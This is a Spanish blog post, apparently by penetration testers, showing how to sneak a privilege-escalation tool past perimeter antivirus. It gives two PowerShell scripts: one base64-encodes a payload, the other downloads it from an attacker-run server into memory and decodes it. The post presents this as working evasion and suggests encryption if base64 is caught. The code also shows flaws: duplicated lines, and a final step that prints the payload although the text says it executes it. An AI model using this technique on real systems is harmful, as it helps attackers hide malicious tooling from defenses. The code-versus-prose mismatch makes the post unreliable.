¡Muy buenas!
Pongámonos en situación: imaginemos que estamos comenzando la auditoría de un sistema Windows en la red de un cliente. Supongamos que el disco está cifrado, cortando de raiz nuestros sueños de hacernos SYSTEM en unos pocos segundos ('shift', 'shift', 'shift', 'shift', 'shift' :) En este momento nos tiembla un párpado: va a tocar currárnoslo un poco.
El gesto inconsciente que nos puede asaltar en este momento es tirar de PowerUp, pero al descargar el fichero nos salta el antivirus. "Bueno, lo descargo en memoria con PowerShell", dices. Vas a por ello, pero nos comemos un error de descarga: parece que hay un antivirus perimetral.
Hoy no es tu día. Pero no te desesperes, que hay formas de pasar tu hacktool a través del antivirus perimetral sin que se entere, y te lo vamos a explicar :)
La idea es bastante sencilla: codificar en base64 el payload en tránsito (o cifrarlo si el antivirus no es tan noob) y descodificarlo/descifrarlo una vez esté descargado en memoria (y cruzar los dedos para que el antivirus de host no lo detecte).
La idea sería levantar un servidor web desde una máquina controlada por nosotros donde esté el payload en base64, descargarlo a memoria con Powershell, descodificarlo y ejecutarlo. Para ello os compartimos un par de scripts (de andar por casa, no me juzguéis), que espero que os sean de gran utilidad:
Primer paso: codificar el payload en el servidor
A continuación os mostramos un pequeño script .ps1 que convierte un fichero de texto cualquiera a base64. Suena sencillo (y lo es, tampoco nos engañemos), pero hay que tener en cuenta que, al menos con Windows, los retornos de carro y algunos caracteres (como la almohadilla, que estará presente en muchas líneas de comentarios) tienen problemas a la hora de descodificarse desde base64.
En concreto, lo que hace el script es parsear el fichero cambiando los retornos de carro por el identificador '_CARRET_' y las almohadillas por el identificador '_HASHSYMBOL_". Tras esto, se convierte en un string con los bytes en Unicode, y de ahí a un string en base64, escribiéndose en un fichero llamado encodedPayload.txt.
$path = "./payload/en/claro.txt"
$file = (Get-Content $path) -join '_CARRET_' -replace "#","_HASHSYMBOL_"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($file)
$encodedText =[Convert]::ToBase64String($bytes)
$encodedText > encodedPayload.txt
$bytes = [System.Text.Encoding]::Unicode.GetBytes($file)
$encodedText =[Convert]::ToBase64String($bytes)
$encodedText > encodedPayload.txt
Segundo paso: descargar a memoria, descodificar y ejecutar
En este segundo paso se utiliza otro script que realiza el proceso inverso. Primero descarga el payload codificado en memoria, lo descodifica de base64 y sustituye los identificadores '_CARRET_' y '_HASHSYMBOL_' por la almohadilla y el retorno de carro ('`n' en Windows). En este punto tendremos cargado el payload en memoria, listo para ejecutarse. Finalmente, el script ejecuta el payload, habiéndose bypasseado así al noob del antivirus perimetral (y seguramente también al de host, si es que no analiza la memoria).
$url = Read-Host -Prompt 'URL'
$encodedText = (New-Object Net.WebClient).DownloadString($url)
$decodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedText))
$originalText = $decodedText -replace "_HASHSYMBOL_","#" -replace "_CARRET_","`n"
$originalText
¡Pues ya estaría! Si el antivirus perimetral te hace un poco la puñeta y descodifica el base64, tendremos que cifrar el payload o (si nos vemos muy fuertes) inventar una codificación exótica que el antivirus no vaya a sacar. No obstante, hay que tener cuidado en utilizar siempre funciones que vengan por defecto en Powershell ¡no vaya a ser que el equipo que estemos auditando no pueda descifrar/descodificar tu payload!
¡Saludos!